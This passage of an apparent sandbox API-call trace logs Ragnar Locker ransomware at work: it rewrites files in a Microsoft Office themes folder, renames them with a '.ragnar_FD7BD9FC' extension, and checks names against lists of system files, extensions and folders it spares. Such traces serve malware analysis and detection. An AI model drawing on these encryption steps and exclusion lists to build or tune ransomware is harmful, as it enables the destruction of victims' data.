dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.075] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.075] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x216, lpOverlapped=0x0) returned 1 [0071.076] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.076] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.076] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x216, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x216, lpOverlapped=0x0) returned 1 [0071.076] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.076] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.076] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x216, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.076] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.076] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.076] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.076] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.076] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.076] GetProcessHeap () returned 0x580000 [0071.077] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.077] CloseHandle (hObject=0x10c) returned 1 [0071.077] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" [0071.077] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.ragnar_FD7BD9FC" [0071.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.078] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.078] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.078] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned=".GIF" [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.078] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.079] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.079] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0071.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.080] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2181) returned 1 [0071.080] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x87c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.080] GetProcessHeap () returned 0x580000 [0071.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.080] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.082] VirtualAlloc (lpAddress=0x0, dwSize=0x885, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.082] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.082] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.082] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x885, lpOverlapped=0x0) returned 1 [0071.082] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.082] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x885, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.082] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x885, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x885, lpOverlapped=0x0) returned 1 [0071.082] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x885, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.082] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.083] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.083] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.083] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.083] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.083] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.083] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.083] GetProcessHeap () returned 0x580000 [0071.083] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.083] CloseHandle (hObject=0x10c) returned 1 [0071.085] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" [0071.085] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.085] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.086] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c98b560, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.086] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.086] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.086] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.086] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.086] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.086] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned=".PNG" [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.086] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.086] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0071.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.087] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=20627) returned 1 [0071.087] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x508a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.087] GetProcessHeap () returned 0x580000 [0071.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.087] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.088] VirtualAlloc (lpAddress=0x0, dwSize=0x5093, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.089] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.089] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.089] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5093, lpOverlapped=0x0) returned 1 [0071.090] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.090] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5093, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.090] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5093, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5093, lpOverlapped=0x0) returned 1 [0071.090] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5093, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.090] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.091] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5093, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.091] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.091] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.091] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.091] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.091] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.091] GetProcessHeap () returned 0x580000 [0071.091] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.091] CloseHandle (hObject=0x10c) returned 1 [0071.092] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" [0071.092] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.092] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.093] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.093] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.093] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2=".") returned 1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="..") returned 1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Windows") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Windows.old") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Tor browser") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Internet Explorer") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Google") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Opera") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Opera Software") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Mozilla") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="Mozilla Firefox") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="$Recycle.Bin") returned 1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="ProgramData") returned -1 [0071.093] lstrcmpiW (lpString1="BLUECALM", lpString2="All Users") returned 1 [0071.093] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.093] lstrcpyW (in: lpString1=0x1eb638, lpString2="BLUECALM" | out: lpString1="BLUECALM") returned="BLUECALM" [0071.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\" [0071.093] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\" [0071.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", 